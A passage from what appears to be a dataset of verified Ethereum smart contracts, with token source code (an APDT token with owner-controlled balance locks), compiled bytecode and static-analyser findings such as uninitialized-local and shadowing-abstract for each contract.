b565b005b341561027857600080fd5b610280610be9565b6040518082815260200191505060405180910390f35b34156102a157600080fd5b6102a9610bef565b005b34156102b657600080fd5b6102e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cad565b604051808215151515815260200191505060405180910390f35b341561030757600080fd5b61030f610ccd565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61039f600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cd3565b005b34156103ac57600080fd5b6103b46110d5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103f45780820151818401526020810190506103d9565b50505050905090810190601f1680156104215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561043a57600080fd5b6104506004808035906020019091905050611173565b005b341561045d57600080fd5b610489600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061127a565b005b341561049657600080fd5b6104ac60048080359060200190919050506113b0565b005b34156104b957600080fd5b6104c1611415565b604051808215151515815260200191505060405180910390f35b34156104e657600080fd5b6104ee611428565b005b34156104fb57600080fd5b6105036114e8565b005b341561051057600080fd5b6105186115ea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561056557600080fd5b6105866004808035906020019082018035906020019190919290505061160f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105d357600080fd5b61060a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611675565b005b341561061757600080fd5b61061f61186d565b005b341561062c57600080fd5b61064d6004808035906020019082018035906020019190919290505061193f565b6040518082815260200191505060405180910390f35b341561066e57600080fd5b6106b7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019082018035906020019190919290505061196f565b005b34156106c457600080fd5b6106da6004808035906020019091905050611de9565b60405180826000191660001916815260200191505060405180910390f35b341561070357600080fd5b61070b611e01565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561074e578082015181840152602081019050610733565b505050509050019250505060405180910390f35b341561076d57600080fd5b610799600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e95565b005b34156107a657600080fd5b6107ae611f70565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107fb57600080fd5b610803611f96565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561085057600080fd5b610899600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190820180359060200191909192905050611fbc565b6040518082815260200191505060405180910390f35b34156108ba57600080fd5b6108e6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506120e3565b005b34156108f357600080fd5b6108fb612238565b6040518082815260200191505060405180910390f35b341561091c57600080fd5b610932600480803590602001909190505061223e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610972578082015181840152602081019050610957565b50505050905090810190601f16801561099f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6000806005836040518082805190602001908083835b6020831015156109e857805182526020820191506020810190506020830392506109c3565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390205414159050919050565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ad8575060011515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610ae357600080fd5b82600060010260036000838152602001908152602001600020546000191614151515610b0e57600080fd5b600060149054906101000a900460ff16151515610b2a57600080fd5b610b33846122ee565b91508173ffffffffffffffffffffffffffffffffffffffff166328faf217846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610bcf57600080fd5b6102c65a03f11515610be057600080fd5b50505050505050565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4a57600080fd5b600060149054906101000a900460ff161515610c6557600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60086020528060005260406000206000915054906101000a900460ff1681565b600d5481565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3357600080fd5b60008551111515610d4357600080fd5b846040518082805190602001908083835b602083101515610d795780518252602082019150602081019050602083039250610d54565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209250600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610de457600080fd5b83915082600019168273ffffffffffffffffffffffffffffffffffffffff166344ae2c036000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610e5857600080fd5b6102c65a03f11515610e6957600080fd5b5050506040518051905060001916141515610e8357600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663693dde5c6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610eef57600080fd5b6102c65a03f11515610f0057600080fd5b5050506040518051905090506000600102600360008381526020019081526020016000205460001916141515610f3557600080fd5b8260036000838152602001908152602001600020816000191690555084600460008381526020019081526020016000209080519060200190610f78929190612567565b50806005866040518082805190602001908083835b602083101515610fb25780518252602082019150602081019050602083039250610f8d565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390208190555060408051908101604052808573ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152506002600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050505050505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561116b5780601f106111405761010080835404028352916020019161116b565b820191906000526020600020905b81548152906001019060200180831161114e57829003601f168201915b505050505081565b6000816000600102600360008381526020019081526020016000205460001916141515156111a057600080fd5b600060149054906101000a900460ff161515156111bc57600080fd5b6111c5836122ee565b91508173ffffffffffffffffffffffffffffffffffffffff166328faf217336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b151561126157600080fd5b6102c65a03f1151561127257600080fd5b505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112d557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156113615750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b151561136c57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140b57600080fd5b80600d8190555050565b600060149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148357600080fd5b600060149054906101000a900460ff1615151561149f57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154357600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260006005858560405180838380828437820191505092505050908152602001604051809103902054815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116d357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561170f57600080fd5b82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600090505b6009805490508110156117fc578373ffffffffffffffffffffffffffffffffffffffff1660098281548110151561179e57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117ef57600191506117fc565b808060010191505061176b565b811515611867576009805480600101828161181791906125e7565b9160005260206000209001600086909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561193d57fe5b565b60006005838360405180838380828437820191505092505050908152602001604051809103902054905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a755750600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611a745750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b5b1515611a8057600080fd5b84600060010260036000838152602001908152602001600020546000191614151515611aab57600080fd5b600060149054906101000a900460ff16151515611ac757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515611b0357600080fd5b611b0c866122ee565b91508173ffffffffffffffffffffffffffffffffffffffff16638ec5ff4185856000604051602001526040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825284848281815260200192508082843782019150509350505050602060405180830381600087803b1515611b9f57600080fd5b6102c65a03f11515611bb057600080fd5b505050604051805190501515611bc557600080fd5b611c02828686868080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505061232e565b15611cdc578173ffffffffffffffffffffffffffffffffffffffff1663897cab178686866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200182810382528484828181526020019250808284378201915050945050505050600060405180830381600087803b1515611cc357600080fd5b6102c65a03f11515611cd457600080fd5b505050611de1565b8473ffffffffffffffffffffffffffffffffffffffff167f17924f6556e9f48e10f2e61c5112228a6274f52dd5a84e1706191a4c4eccd8b6600460008981526020019081526020016000208686604051808060200180602001838103835286818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015611db65780601f10611d8b57610100808354040283529160200191611db6565b820191906000526020600020905b815481529060010190602001808311611d9957829003601f168201915b5050838103825285858281815260200192508082843782019150509550505050505060405180910390a25b505050505050565b60036020528060005260406000206000915090505481565b611e09612613565b6009805480602002602001604051908101604052809291908181526020018280548015611e8b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611e41575b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ef057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f2c57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080611fc8866122ee565b90508073ffffffffffffffffffffffffffffffffffffffff1663686e177b8686866000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200182810382528484828181526020019250808284378201915050945050505050602060405180830381600087803b151561208f57600080fd5b6102c65a03f115156120a057600080fd5b5050506040518051905015156120ba57600b5491506120da565b6120c48186612488565b15156120d457600c5491506120da565b600a5491505b50949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561213e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561217a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b60046020528060005260406000206000915090508054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122e65780601f106122bb576101008083540402835291602001916122e6565b820191906000526020600020905b8154815290600101906020018083116122c957829003601f168201915b505050505081565b60006002600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008373ffffffffffffffffffffffffffffffffffffffff1663686e177b84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156123f45780820151818401526020810190506123d9565b50505050905090810190601f1680156124215780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b151561244057600080fd5b6102c65a03f1151561245157600080fd5b50505060405180519050158061246e575061246c8484612488565b155b1561247c5760009050612481565b600190505b9392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1663ed186571846000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561252e57600080fd5b6102c65a03f1151561253f57600080fd5b505050604051805190509050600081148061255e5750600d5481014210155b91505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106125a857805160ff19168380011785556125d6565b828001600101855582156125d6579182015b828111156125d55782518255916020019190600101906125ba565b5b5090506125e39190612627565b5090565b81548183558181151161260e5781836000526020600020918201910161260d9190612627565b5b505050565b602060405190810160405280600081525090565b61264991905b8082111561264557600081600090555060010161262d565b5090565b905600a165627a7a723058200ec024689562a49799e15c4efb607d67eb37d656bbdee93b594beed3ce4622840029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,723
0x0af747ae064bf2489740ccd44d26750bc85e2ad0
/** *Submitted for verification at Etherscan.io on 2021-07-01 */ /** *Submitted for verification at Etherscan.io on 2019-07-08 */ pragma solidity ^0.4.11; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) public balances; // *added public mapping (address => mapping (address => uint256)) public allowed; // *added public } contract APDTToken is StandardToken, Pausable { string public constant name = "APDT Token"; string public constant symbol = "APDT"; uint8 public constant decimals = 6; uint256 public constant totalSupply = 210000000000000000; // Holds the amount and date of a given balance lock. struct BalanceLock { uint256 amount; uint256 unlockDate; } // A mapping of balance lock to a given address. mapping (address => BalanceLock) public balanceLocks; // An event to notify that _owner has locked a balance. event BalanceLocked(address indexed _owner, uint256 _oldLockedAmount, uint256 _newLockedAmount, uint256 _expiry); /** @dev Constructor for the contract. */ function APDTToken() Pausable() { balances[msg.sender] = totalSupply; Transfer(0x0, msg.sender, totalSupply); } /** @dev Sets a token balance to be locked by the sender, on the condition * that the amount is equal or greater than the previous amount, or if the * previous lock time has expired. * @param _value The amount be locked. */ //设置锁仓 function lockBalance(address addr, uint256 _value,uint256 lockingDays) onlyOwner { // Check if the lock on previously locked tokens is still active. if (balanceLocks[addr].unlockDate > now) { // 未到可转账日期 // Only allow confirming the lock or adding to it. require(_value >= balanceLocks[addr].amount); } // Ensure that no more than the balance can be locked. require(balances[addr] >= _value); // convert days to seconds uint256 lockingPeriod = lockingDays*24*3600; // Lock tokens and notify. uint256 _expiry = now + lockingPeriod; BalanceLocked(addr, balanceLocks[addr].amount, _value, _expiry); balanceLocks[addr] = BalanceLock(_value, _expiry); } /** @dev Returns the balance that a given address has available for transfer. * @param _owner The address of the token owner. */ // 返回用户当前可用余额 function availableBalance(address _owner) constant returns(uint256) { if (balanceLocks[_owner].unlockDate < now) { return balances[_owner]; } else { assert(balances[_owner] >= balanceLocks[_owner].amount); return balances[_owner] - balanceLocks[_owner].amount; } } /** @dev Send `_value` token to `_to` from `msg.sender`, on the condition * that there are enough unlocked tokens in the `msg.sender` account. * @param _to The address of the recipient. * @param _value The amount of token to be transferred. * @return Whether the transfer was successful or not. */ // function transfer(address _to, uint256 _value) whenNotPaused returns (bool success) { require(availableBalance(msg.sender) >= _value); return super.transfer(_to, _value); } /** @dev Send `_value` token to `_to` from `_from` on the condition * that there are enough unlocked tokens in the `_from` account. * @param _from The address of the sender. * @param _to The address of the recipient. * @param _value The amount of token to be transferred. * @return Whether the transfer was successful or not. */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool success) { require(availableBalance(_from) >= _value); return super.transferFrom(_from, _to, _value); } }
0x606060405236156101045763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610106578063095ea7b31461019657806318160ddd146101c957806323b872dd146101eb57806327e235e314610224578063313ce567146102525780633f4ba83a146102785780635c6581651461028a5780635c975abb146102be57806370a08231146102e25780638456cb59146103105780638da5cb5b1461032257806395d89b411461034e578063a0821be3146103de578063a55956831461040c578063a9059cbb14610430578063dd62ed3e14610463578063e9ed866714610497578063f2fde38b146104cc575bfe5b341561010e57fe5b6101166104ea565b60408051602080825283518183015283519192839290830191850190808383821561015c575b80518252602083111561015c57601f19909201916020918201910161013c565b505050905090810190601f1680156101885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019e57fe5b6101b5600160a060020a0360043516602435610521565b604080519115158252519081900360200190f35b34156101d157fe5b6101d961058c565b60408051918252519081900360200190f35b34156101f357fe5b6101b5600160a060020a0360043581169060243516604435610598565b604080519115158252519081900360200190f35b341561022c57fe5b6101d9600160a060020a03600435166105df565b60408051918252519081900360200190f35b341561025a57fe5b6102626105f1565b6040805160ff9092168252519081900360200190f35b341561028057fe5b6102886105f6565b005b341561029257fe5b6101d9600160a060020a0360043581169060243516610677565b60408051918252519081900360200190f35b34156102c657fe5b6101b5610694565b604080519115158252519081900360200190f35b34156102ea57fe5b6101d9600160a060020a03600435166106a4565b60408051918252519081900360200190f35b341561031857fe5b6102886106c3565b005b341561032a57fe5b610332610749565b60408051600160a060020a039092168252519081900360200190f35b341561035657fe5b610116610758565b60408051602080825283518183015283519192839290830191850190808383821561015c575b80518252602083111561015c57601f19909201916020918201910161013c565b505050905090810190601f1680156101885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e657fe5b6101d9600160a060020a036004351661078f565b60408051918252519081900360200190f35b341561041457fe5b610288600160a060020a0360043516602435604435610831565b005b341561043857fe5b6101b5600160a060020a036004351660243561096e565b604080519115158252519081900360200190f35b341561046b57fe5b6101d9600160a060020a03600435811690602435166109b3565b60408051918252519081900360200190f35b341561049f57fe5b6104b3600160a060020a03600435166109e0565b6040805192835260208301919091528051918290030190f35b34156104d457fe5b610288600160a060020a03600435166109f9565b005b60408051808201909152600a81527f4150445420546f6b656e00000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b6702ea11e32ad5000081565b60035460009060a060020a900460ff16156105b35760006000fd5b816105bd8561078f565b10156105c95760006000fd5b6105d4848484610a92565b90505b5b9392505050565b60016020526000908152604090205481565b600681565b60035433600160a060020a039081169116146106125760006000fd5b60035460a060020a900460ff16151561062b5760006000fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a15b5b5b565b600260209081526000928352604080842090915290825290205481565b60035460a060020a900460ff1681565b600160a060020a0381166000908152600160205260409020545b919050565b60035433600160a060020a039081169116146106df5760006000fd5b60035460a060020a900460ff16156106f75760006000fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a15b5b5b565b600354600160a060020a031681565b60408051808201909152600481527f4150445400000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a038116600090815260046020526040812060010154429010156107d25750600160a060020a0381166000908152600160205260409020546106be565b600160a060020a03821660009081526004602090815260408083205460019092529091205410156107ff57fe5b50600160a060020a038116600090815260046020908152604080832054600190925290912054036106be565b5b919050565b600354600090819033600160a060020a039081169116146108525760006000fd5b600160a060020a0385166000908152600460205260409020600101544290111561089c57600160a060020a03851660009081526004602052604090205484101561089c5760006000fd5b5b600160a060020a038516600090815260016020526040902054849010156108c45760006000fd5b5050600160a060020a0383166000818152600460209081526040918290205482519081529081018590524262015180850290810182840181905292519093917f89f85a4bd38f70943757e43dedd843409e565220cb52ba80fc297d1246b3b9bb919081900360600190a26040805180820182528581526020808201848152600160a060020a038916600090815260049092529290209051815590516001909101555b5b5050505050565b60035460009060a060020a900460ff16156109895760006000fd5b816109933361078f565b101561099f5760006000fd5b6109a98383610b9f565b90505b5b92915050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b6004602052600090815260409020805460019091015482565b60035433600160a060020a03908116911614610a155760006000fd5b600160a060020a0381161515610a2b5760006000fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600160a060020a038316600090815260016020526040812054829010801590610ae25750600160a060020a0380851660009081526002602090815260408083203390941683529290522054829010155b8015610b075750600160a060020a038316600090815260016020526040902054828101115b1515610b135760006000fd5b600160a060020a03808416600081815260016020908152604080832080548801905588851680845281842080548990039055600283528184203390961684529482529182902080548790039055815186815291519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060015b9392505050565b600160a060020a033316600090815260016020526040812054829010801590610be15750600160a060020a038316600090815260016020526040902054828101115b1515610bed5760006000fd5b600160a060020a03338116600081815260016020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b929150505600a165627a7a7230582003948e38ed78eebf2ed5559c6ffec973c873aa926c6ac850a409ac8b743106580029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
6,724
0xe3c5c0c24e8517aab6755cebf69028851a7be830
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, 